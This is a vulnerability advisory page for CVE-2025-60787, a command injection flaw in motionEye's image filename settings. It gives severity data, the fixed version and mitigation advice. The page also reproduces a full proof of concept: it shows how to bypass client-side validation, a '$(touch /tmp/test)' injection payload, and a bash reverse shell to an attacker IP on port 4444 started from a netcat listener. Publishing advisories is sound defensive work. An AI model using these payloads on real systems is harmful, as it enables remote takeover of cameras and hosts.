NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2025-60787 — motioneye

HIGH

CVE-2025-60787 is a high-severity (CVSS 7.2) Improper Input Validation vulnerability in motioneye. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for motioneye — see the affected versions and patch details below.

motionEye vulnerable to RCE via unsanitized motion config parameter

Also known asGHSA-j945-qm58-4gjxPYSEC-2026-1680
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-60787.

EPSS Exploitation Probability

via FIRST.org ↗
18.5%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs97th percentile — riskier than 97% of all scored CVEsHighest risk
5.54%28.5%51.5%74.5%61.6%18.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍motioneye

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.


Environment Setup

  1. Start MotionEye container
    Launch the vulnerable container:

    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
  2. Verify version
    Confirm the running version inside logs:

    docker logs motioneye | grep "motionEye server"
    

    Result:

    motionEye server 0.43.1b4
    
    <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
  3. Container shell access (for verification later)
    Keep a shell handy to verify results:

    docker exec -it motioneye /bin/bash
    ls -la /tmp
    

Exploitation Steps

  1. Access Web Interface

    • Open browser at: http://127.0.0.1:9999
    • Login with default credentials: admin / (blank password)
    • Add a sample RTSP network camera (required to enable camera-specific settings).
    <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
  2. Attempt malicious filename input

    • Go to: Camera Settings → Still Images
    • In the Image File Name field, try:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
      
    • Observation: This is blocked by client-side validation in the browser.
    <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" /> <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />
  3. Client-Side Validation Discovery

    • The check is implemented in JavaScript:
      • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
    • Example validation function:
      function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
          if (this.invalid) { valid = false; return false; }
        });
        return valid;
      }
      
  4. Bypass Validation

    • Open browser console (F12 → Console tab)
    • Override the function to always return true:
      configUiValid = function() { return true; };
      
    • This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" />
  5. Inject Payload

    • Set Capture Mode: Interval Snapshots
    • Set Interval: 10
    • Set Image File Name to the payload:
      $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
      
    • Click Apply to save settings. <img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" />
  6. Verify Execution

    • Inside the container shell:
      ls -la /tmp
      
    • Result: File /tmp/test is created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />

Weaponizing RCE (Reverse Shell Example)

  1. Start attacker listener

    nc -lvnp 4444
    
  2. Inject reverse shell payload
    Enter the following into the Image File Name field:

    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
  3. Result

    • A reverse shell connects back to the attacker’s machine.
    • Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" />

Root Cause

  • MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
  • On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

  1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
  2. Containerized and bare-metal installs alike.

Potential consequences:

  1. Full compromise of MotionEye container.
  2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImotioneyeall versions0.43.1b5pip install --upgrade 'motioneye==0.43.1b5'

Affected Products

1 product · 5 configurations
Application
motioneyemotioneye_project
2 versions
0.42.10.43.1
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

EDB-52481webappsmultiple

motionEye 0.43.1b4 - RCE

by prabhat · Feb 11, 2026

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for motioneye, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update motioneye to 0.43.1b5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-60787 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges). ## Details ### Root Cause: MotionEye accepts arbitrary strings from fields such
O3 Security · Impact-Aware SCA

Is CVE-2025-60787 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2025-60787: motioneye RCE — Fixed in 0.43.1b5